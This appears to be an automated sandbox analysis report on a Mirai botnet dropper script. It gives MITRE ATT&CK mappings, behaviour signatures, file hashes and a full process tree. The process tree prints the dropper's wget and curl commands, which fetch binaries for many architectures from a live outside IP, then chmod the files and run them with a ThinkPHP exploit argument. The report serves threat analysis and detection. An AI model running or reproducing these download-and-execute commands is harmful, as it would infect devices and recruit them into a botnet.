mirai | 115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104

Analysis

max time kernel
146s
max time network
151s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
12-12-2024 02:05

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104.sh
Size

2KB
MD5

a0e87c525c403e7c7d8eeff06a6a8b5e
SHA1

5331699066a78b7e546b6e77a095df7ff24c9f54
SHA256

115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104
SHA512

6b270443c2f5ce99a9e4a5cad6480d0e7b6bb22b1704e7b1c1e2a99815e548ea463f025679903d7ef83d360003a5ba238d2168a0445943219963a9f9765b054e

Score

10^/10

mirai botnet botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

BOTNET

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (94604) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1536	chmod
1518	chmod
1527	chmod
1547	chmod
1574	chmod
1592	chmod
1499	chmod
1619	chmod
1583	chmod
1508	chmod
1556	chmod
1565	chmod
1601	chmod
1610	chmod
1494	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/Andrew	1495	Andrew
/tmp/Andrew	1500	Andrew
/tmp/Andrew	1509	Andrew
/tmp/Andrew	1519	Andrew
/tmp/Andrew	1528	Andrew
/tmp/Andrew	1537	Andrew
/tmp/Andrew	1548	Andrew
/tmp/Andrew	1557	Andrew
/tmp/Andrew	1566	Andrew
/tmp/Andrew	1575	Andrew
/tmp/Andrew	1584	Andrew
/tmp/Andrew	1593	Andrew
/tmp/Andrew	1602	Andrew
/tmp/Andrew	1611	Andrew
/tmp/Andrew	1620	Andrew

Modifies Watchdog functionality 1 TTPs 28 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	Andrew
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/misc/watchdog	Andrew
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/misc/watchdog	Andrew
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/misc/watchdog	Andrew
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/misc/watchdog	Andrew
File opened for modification	/dev/misc/watchdog	Andrew
File opened for modification	/dev/misc/watchdog	Andrew
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/misc/watchdog	Andrew
File opened for modification	/dev/misc/watchdog	Andrew
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/misc/watchdog	Andrew
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/misc/watchdog	Andrew
File opened for modification	/dev/misc/watchdog	Andrew
File opened for modification	/dev/misc/watchdog	Andrew
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/misc/watchdog	Andrew

Enumerates active TCP sockets 1 TTPs 13 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew

UPX packed file 9 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-3.dat	upx
behavioral1/files/fstream-6.dat	upx
behavioral1/files/fstream-8.dat	upx
behavioral1/files/fstream-10.dat	upx
behavioral1/files/fstream-12.dat	upx
behavioral1/files/fstream-14.dat	upx
behavioral1/files/fstream-16.dat	upx
behavioral1/files/fstream-20.dat	upx
behavioral1/files/fstream-22.dat	upx

Changes its process name 14 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	1500	Andrew
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	1509	Andrew
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	1519	Andrew
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	1528	Andrew
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	1537	Andrew
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	1548	Andrew
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	1557	Andrew
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	1566	Andrew
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	1575	Andrew
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	1584	Andrew
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	1593	Andrew
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	1602	Andrew
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	1611	Andrew
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	1620	Andrew

Reads system network configuration 1 TTPs 13 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew

Reads runtime system information 14 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/	Andrew
File opened for reading	/proc/	Andrew
File opened for reading	/proc/	Andrew
File opened for reading	/proc/	Andrew
File opened for reading	/proc/	Andrew
File opened for reading	/proc/	Andrew
File opened for reading	/proc/	Andrew
File opened for reading	/proc/	Andrew
File opened for reading	/proc/	Andrew
File opened for reading	/proc/	Andrew
File opened for reading	/proc/	Andrew
File opened for reading	/proc/	Andrew
File opened for reading	/proc/	Andrew
File opened for reading	/proc/	Andrew

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1521	wget
1525	curl

Writes file to tmp directory 27 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/arm4	wget
File opened for modification	/tmp/arm7	curl
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/ppc	curl
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/arm5	curl
File opened for modification	/tmp/i486	curl
File opened for modification	/tmp/mpsl	curl
File opened for modification	/tmp/m68k	curl
File opened for modification	/tmp/sh4	wget
File opened for modification	/tmp/arc	curl
File opened for modification	/tmp/mpsl	wget
File opened for modification	/tmp/arm7	wget
File opened for modification	/tmp/ppc	wget
File opened for modification	/tmp/sh4	curl
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/mips	curl
File opened for modification	/tmp/i686	curl
File opened for modification	/tmp/arm6	curl
File opened for modification	/tmp/x86_64	wget
File opened for modification	/tmp/x86_64	curl
File opened for modification	/tmp/arm4	curl
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/spc	curl
File opened for modification	/tmp/Andrew	115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104.sh
File opened for modification	/tmp/i686	wget

/tmp/115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104.sh
/tmp/115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104.sh
1⤵
- Writes file to tmp directory
PID:1478
- /usr/bin/wget
  wget http://37.114.41.90/bins/i486
  2⤵
  PID:1479
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/i486
  2⤵
  - Writes file to tmp directory
  PID:1489
- /bin/cat
  cat i486
  2⤵
  PID:1493
- /bin/chmod
  chmod +x 115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104.sh Andrew config-err-TtKvLo i486 netplan_vobrtjej snap-private-tmp ssh-JySJrCXnpUjQ systemd-private-f3b2925203a9410e894de291d4e50eed-bolt.service-z9feDq systemd-private-f3b2925203a9410e894de291d4e50eed-colord.service-PHQP6p systemd-private-f3b2925203a9410e894de291d4e50eed-ModemManager.service-LA7w9n systemd-private-f3b2925203a9410e894de291d4e50eed-systemd-resolved.service-1HmCWO systemd-private-f3b2925203a9410e894de291d4e50eed-systemd-timedated.service-VI9290
  2⤵
  - File and Directory Permissions Modification
  PID:1494
- /tmp/Andrew
  ./Andrew thinkphp.exploit
  2⤵
  - Executes dropped EXE
  PID:1495
- /usr/bin/wget
  wget http://37.114.41.90/bins/x86
  2⤵
  - Writes file to tmp directory
  PID:1496
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/x86
  2⤵
  - Writes file to tmp directory
  PID:1497
- /bin/cat
  cat x86
  2⤵
  PID:1498
- /bin/chmod
  chmod +x 115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104.sh Andrew config-err-TtKvLo i486 netplan_vobrtjej snap-private-tmp ssh-JySJrCXnpUjQ systemd-private-f3b2925203a9410e894de291d4e50eed-bolt.service-z9feDq systemd-private-f3b2925203a9410e894de291d4e50eed-colord.service-PHQP6p systemd-private-f3b2925203a9410e894de291d4e50eed-ModemManager.service-LA7w9n systemd-private-f3b2925203a9410e894de291d4e50eed-systemd-resolved.service-1HmCWO systemd-private-f3b2925203a9410e894de291d4e50eed-systemd-timedated.service-VI9290 x86
  2⤵
  - File and Directory Permissions Modification
  PID:1499
- /tmp/Andrew
  ./Andrew thinkphp.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:1500
- /usr/bin/wget
  wget http://37.114.41.90/bins/i686
  2⤵
  - Writes file to tmp directory
  PID:1502
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/i686
  2⤵
  - Writes file to tmp directory
  PID:1506
- /bin/chmod
  chmod +x 115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104.sh Andrew config-err-TtKvLo i486 i686 netplan_vobrtjej snap-private-tmp ssh-JySJrCXnpUjQ systemd-private-f3b2925203a9410e894de291d4e50eed-bolt.service-z9feDq systemd-private-f3b2925203a9410e894de291d4e50eed-colord.service-PHQP6p systemd-private-f3b2925203a9410e894de291d4e50eed-ModemManager.service-LA7w9n systemd-private-f3b2925203a9410e894de291d4e50eed-systemd-resolved.service-1HmCWO systemd-private-f3b2925203a9410e894de291d4e50eed-systemd-timedated.service-VI9290 x86
  2⤵
  - File and Directory Permissions Modification
  PID:1508
- /tmp/Andrew
  ./Andrew thinkphp.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1509
- /usr/bin/wget
  wget http://37.114.41.90/bins/x86_64
  2⤵
  - Writes file to tmp directory
  PID:1512
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/x86_64
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/chmod
  chmod +x 115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104.sh Andrew config-err-TtKvLo i486 i686 netplan_vobrtjej snap-private-tmp ssh-JySJrCXnpUjQ systemd-private-f3b2925203a9410e894de291d4e50eed-bolt.service-z9feDq systemd-private-f3b2925203a9410e894de291d4e50eed-colord.service-PHQP6p systemd-private-f3b2925203a9410e894de291d4e50eed-ModemManager.service-LA7w9n systemd-private-f3b2925203a9410e894de291d4e50eed-systemd-resolved.service-1HmCWO systemd-private-f3b2925203a9410e894de291d4e50eed-systemd-timedated.service-VI9290 x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1518
- /tmp/Andrew
  ./Andrew thinkphp.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1519
- /usr/bin/wget
  wget http://37.114.41.90/bins/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1521
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1525
- /bin/chmod
  chmod +x 115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104.sh Andrew config-err-TtKvLo i486 i686 mips netplan_vobrtjej snap-private-tmp ssh-JySJrCXnpUjQ systemd-private-f3b2925203a9410e894de291d4e50eed-bolt.service-z9feDq systemd-private-f3b2925203a9410e894de291d4e50eed-colord.service-PHQP6p systemd-private-f3b2925203a9410e894de291d4e50eed-ModemManager.service-LA7w9n systemd-private-f3b2925203a9410e894de291d4e50eed-systemd-resolved.service-1HmCWO systemd-private-f3b2925203a9410e894de291d4e50eed-systemd-timedated.service-VI9290 x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1527
- /tmp/Andrew
  ./Andrew thinkphp.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1528
- /usr/bin/wget
  wget http://37.114.41.90/bins/mpsl
  2⤵
  - Writes file to tmp directory
  PID:1533
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/mpsl
  2⤵
  - Writes file to tmp directory
  PID:1534
- /bin/chmod
  chmod +x 115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104.sh Andrew config-err-TtKvLo i486 i686 mips mpsl netplan_vobrtjej snap-private-tmp ssh-JySJrCXnpUjQ systemd-private-f3b2925203a9410e894de291d4e50eed-bolt.service-z9feDq systemd-private-f3b2925203a9410e894de291d4e50eed-colord.service-PHQP6p systemd-private-f3b2925203a9410e894de291d4e50eed-ModemManager.service-LA7w9n systemd-private-f3b2925203a9410e894de291d4e50eed-systemd-resolved.service-1HmCWO systemd-private-f3b2925203a9410e894de291d4e50eed-systemd-timedated.service-VI9290 x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1536
- /tmp/Andrew
  ./Andrew thinkphp.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1537
- /usr/bin/wget
  wget http://37.114.41.90/bins/arm4
  2⤵
  - Writes file to tmp directory
  PID:1541
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/arm4
  2⤵
  - Writes file to tmp directory
  PID:1545
- /bin/chmod
  chmod +x 115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104.sh Andrew arm4 config-err-TtKvLo i486 i686 mips mpsl netplan_vobrtjej snap-private-tmp ssh-JySJrCXnpUjQ systemd-private-f3b2925203a9410e894de291d4e50eed-bolt.service-z9feDq systemd-private-f3b2925203a9410e894de291d4e50eed-colord.service-PHQP6p systemd-private-f3b2925203a9410e894de291d4e50eed-ModemManager.service-LA7w9n systemd-private-f3b2925203a9410e894de291d4e50eed-systemd-resolved.service-1HmCWO x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1547
- /tmp/Andrew
  ./Andrew thinkphp.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1548
- /usr/bin/wget
  wget http://37.114.41.90/bins/arm5
  2⤵
  - Writes file to tmp directory
  PID:1550
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/arm5
  2⤵
  - Writes file to tmp directory
  PID:1554
- /bin/chmod
  chmod +x 115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104.sh Andrew arm4 arm5 config-err-TtKvLo i486 i686 mips mpsl netplan_vobrtjej snap-private-tmp ssh-JySJrCXnpUjQ systemd-private-f3b2925203a9410e894de291d4e50eed-bolt.service-z9feDq systemd-private-f3b2925203a9410e894de291d4e50eed-colord.service-PHQP6p systemd-private-f3b2925203a9410e894de291d4e50eed-ModemManager.service-LA7w9n systemd-private-f3b2925203a9410e894de291d4e50eed-systemd-resolved.service-1HmCWO x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1556
- /tmp/Andrew
  ./Andrew thinkphp.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1557
- /usr/bin/wget
  wget http://37.114.41.90/bins/arm6
  2⤵
  - Writes file to tmp directory
  PID:1559
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/arm6
  2⤵
  - Writes file to tmp directory
  PID:1563
- /bin/chmod
  chmod +x 115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104.sh Andrew arm4 arm5 arm6 config-err-TtKvLo i486 i686 mips mpsl netplan_vobrtjej snap-private-tmp ssh-JySJrCXnpUjQ systemd-private-f3b2925203a9410e894de291d4e50eed-bolt.service-z9feDq systemd-private-f3b2925203a9410e894de291d4e50eed-colord.service-PHQP6p systemd-private-f3b2925203a9410e894de291d4e50eed-ModemManager.service-LA7w9n systemd-private-f3b2925203a9410e894de291d4e50eed-systemd-resolved.service-1HmCWO x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1565
- /tmp/Andrew
  ./Andrew thinkphp.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1566
- /usr/bin/wget
  wget http://37.114.41.90/bins/arm7
  2⤵
  - Writes file to tmp directory
  PID:1568
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/arm7
  2⤵
  - Writes file to tmp directory
  PID:1572
- /bin/chmod
  chmod +x 115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104.sh Andrew arm4 arm5 arm6 arm7 config-err-TtKvLo i486 i686 mips mpsl netplan_vobrtjej snap-private-tmp ssh-JySJrCXnpUjQ systemd-private-f3b2925203a9410e894de291d4e50eed-bolt.service-z9feDq systemd-private-f3b2925203a9410e894de291d4e50eed-colord.service-PHQP6p systemd-private-f3b2925203a9410e894de291d4e50eed-ModemManager.service-LA7w9n systemd-private-f3b2925203a9410e894de291d4e50eed-systemd-resolved.service-1HmCWO x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1574
- /tmp/Andrew
  ./Andrew thinkphp.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1575
- /usr/bin/wget
  wget http://37.114.41.90/bins/ppc
  2⤵
  - Writes file to tmp directory
  PID:1577
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/ppc
  2⤵
  - Writes file to tmp directory
  PID:1581
- /bin/chmod
  chmod +x 115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104.sh Andrew arm4 arm5 arm6 arm7 config-err-TtKvLo i486 i686 mips mpsl netplan_vobrtjej ppc snap-private-tmp ssh-JySJrCXnpUjQ systemd-private-f3b2925203a9410e894de291d4e50eed-bolt.service-z9feDq systemd-private-f3b2925203a9410e894de291d4e50eed-colord.service-PHQP6p systemd-private-f3b2925203a9410e894de291d4e50eed-ModemManager.service-LA7w9n systemd-private-f3b2925203a9410e894de291d4e50eed-systemd-resolved.service-1HmCWO x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1583
- /tmp/Andrew
  ./Andrew thinkphp.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1584
- /usr/bin/wget
  wget http://37.114.41.90/bins/spc
  2⤵
  PID:1586
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/spc
  2⤵
  - Writes file to tmp directory
  PID:1590
- /bin/chmod
  chmod +x 115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104.sh Andrew arm4 arm5 arm6 arm7 config-err-TtKvLo i486 i686 mips mpsl netplan_vobrtjej ppc snap-private-tmp spc ssh-JySJrCXnpUjQ systemd-private-f3b2925203a9410e894de291d4e50eed-bolt.service-z9feDq systemd-private-f3b2925203a9410e894de291d4e50eed-colord.service-PHQP6p systemd-private-f3b2925203a9410e894de291d4e50eed-ModemManager.service-LA7w9n systemd-private-f3b2925203a9410e894de291d4e50eed-systemd-resolved.service-1HmCWO x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1592
- /tmp/Andrew
  ./Andrew thinkphp.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1593
- /usr/bin/wget
  wget http://37.114.41.90/bins/m68k
  2⤵
  PID:1595
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/m68k
  2⤵
  - Writes file to tmp directory
  PID:1599
- /bin/chmod
  chmod +x 115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104.sh Andrew arm4 arm5 arm6 arm7 config-err-TtKvLo i486 i686 m68k mips mpsl netplan_vobrtjej ppc snap-private-tmp spc ssh-JySJrCXnpUjQ systemd-private-f3b2925203a9410e894de291d4e50eed-bolt.service-z9feDq systemd-private-f3b2925203a9410e894de291d4e50eed-colord.service-PHQP6p systemd-private-f3b2925203a9410e894de291d4e50eed-ModemManager.service-LA7w9n systemd-private-f3b2925203a9410e894de291d4e50eed-systemd-resolved.service-1HmCWO x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1601
- /tmp/Andrew
  ./Andrew thinkphp.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1602
- /usr/bin/wget
  wget http://37.114.41.90/bins/sh4
  2⤵
  - Writes file to tmp directory
  PID:1604
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/sh4
  2⤵
  - Writes file to tmp directory
  PID:1608
- /bin/chmod
  chmod +x 115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104.sh Andrew arm4 arm5 arm6 arm7 config-err-TtKvLo i486 i686 m68k mips mpsl netplan_vobrtjej ppc sh4 snap-private-tmp spc ssh-JySJrCXnpUjQ systemd-private-f3b2925203a9410e894de291d4e50eed-bolt.service-z9feDq systemd-private-f3b2925203a9410e894de291d4e50eed-colord.service-PHQP6p systemd-private-f3b2925203a9410e894de291d4e50eed-ModemManager.service-LA7w9n systemd-private-f3b2925203a9410e894de291d4e50eed-systemd-resolved.service-1HmCWO x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1610
- /tmp/Andrew
  ./Andrew thinkphp.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1611
- /usr/bin/wget
  wget http://37.114.41.90/bins/arc
  2⤵
  PID:1613
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/arc
  2⤵
  - Writes file to tmp directory
  PID:1617
- /bin/chmod
  chmod +x 115181c3ef90a291c75bd45d3eeb3099a72444790f5a5bb7bf132d4cf96aa104.sh Andrew arc arm4 arm5 arm6 arm7 config-err-TtKvLo i486 i686 m68k mips mpsl netplan_vobrtjej ppc sh4 snap-private-tmp spc ssh-JySJrCXnpUjQ systemd-private-f3b2925203a9410e894de291d4e50eed-bolt.service-z9feDq systemd-private-f3b2925203a9410e894de291d4e50eed-colord.service-PHQP6p systemd-private-f3b2925203a9410e894de291d4e50eed-ModemManager.service-LA7w9n systemd-private-f3b2925203a9410e894de291d4e50eed-systemd-resolved.service-1HmCWO x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1619
- /tmp/Andrew
  ./Andrew thinkphp.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/arm4

Filesize
31KB

MD5
b09e32f241911f4ddac45a1a7a19ba49

SHA1
17a7f213570aaea7f66b9c38091c9485fa0ea510

SHA256
42828a483869a643cec73d181faff7f3a433c9570fc96a6bc63a2d8bc2b1f95c

SHA512
1d7e94f3076da3e47e902cc523bb752d5333fcbe86a8f35e6ef11202b80e6021318ff8d60843a410a849dd46296e45ed452bfe01ea722df6bdbdd565fd954da5

Download Submit
/tmp/arm5

Filesize
32KB

MD5
bf55d7061cedeb10e6a3839353dc6d8c

SHA1
34b773230a77570ef0c6fced5ab9f125996e4daf

SHA256
aae9d2a9669849b09b4e8ed8f3baeeb4c948ca80ebddd5004a57c2b6b7049fc9

SHA512
555f6dec792e49927d5392fc8dae5174e8868c9acdddebd4d0a5b3386352df40c7342a82d0973979cdb5061ee347f4ebd33ce19ab98fbb6dcae293e1eb69c57e

Download Submit
/tmp/arm7

Filesize
50KB

MD5
d5af8f2bb8c7c3e39981ba0099fa1d1c

SHA1
f12212c88dddb3c0298987b917c55063f942df88

SHA256
fec20fde8f5cb8d571cee50a2bf8103c9e63c57b2bfd098693974389fd79c8d9

SHA512
42b3455e467f11b68f000f6f375bd9d7f42d77c16184a3a6a36bbf4751e72a01b692032ee6d03a8ed398484cacbdb6231478d42099004f3674de84873c2e817e

Download Submit
/tmp/i486

Filesize
274B

MD5
090e35476de39030dfeafbcf3d3e3f43

SHA1
a4bd408cec5d1185b478e528cf60a9f5186e0b87

SHA256
0085db6c6f0d1ba4e0ea26fcc04cd3afc69a900a9fd087079c4957364bf4dd1b

SHA512
55c266d1a3bb285ec821ecac894c2f5dbae7798c08e4f829db0e8c06f22084a919ef0fb17a1ddf4640228453bee8555fa6f69025c398292c5c8382e3c466a181

Download Submit
/tmp/i686

Filesize
28KB

MD5
15fb222600a3061f5c8e5ef04e5298a6

SHA1
93b4a17632479c8a45e2554a18ea61ea7365c532

SHA256
fff08f2a1a9c20d447ac5cacb89df1287bb830a2fc0cd5866d31d9f3ba653965

SHA512
11e390838b35bdacfa84ebdfc076f564abc1538bc972895b81d2156be52177bb25d62662871ae624747cca29e089a7a9a6ef205db4c694a2c106641d33942c34

Download Submit
/tmp/mips

Filesize
34KB

MD5
6088a204e0792a10d3724e836fe699b7

SHA1
fc1cf1010c99f155c46f94ec0529c8cea32c6055

SHA256
345984c9618d8bbf1c6e4a70ea62edd4666132f3787dbf07ad118d620cab8a2e

SHA512
bdf6dd68777d986f952a9d3aa5e505aaf360cda74d336c81f5ae1abebdebbdeb595f7bcdb26187f3c59fafbf545265b126435e3ead4346898f328e408bf8e48e

Download Submit
/tmp/mpsl

Filesize
34KB

MD5
b8f2bf3e7c002718f12751cb02130d2e

SHA1
06919c90eae2564ee9ded3f343e2ec18839e411d

SHA256
390f79cfca6cc7660d64c22208b4f2166807e5875da1a15336a9dccff130034d

SHA512
adfccc7878b168cba5b9f9ce92f246bced0e15db876c28ed2f7e0ec5e344ec6652b643045ca79937de7655da4c71b77db2c778f8b8d11b196bfff156a7d16185

Download Submit
/tmp/ppc

Filesize
30KB

MD5
053488c4fc01a20ddb689a2212c33126

SHA1
1eff2d1947ee2d6481fdd2ab4b2a67fba3e18321

SHA256
0a8cb5b485b059b98725ff4a6411faa3ea9f150082b46b0b3868ae0e31b6dd41

SHA512
32d412546f202e9165cf6c905b46d52db20425b7ff7f90b98a739f6c7860b30c34e8bc5eaca4d6f23e25c6e88580990a6003fd9747d581e25098f3267e78f1f9

Download Submit
/tmp/sh4

Filesize
65KB

MD5
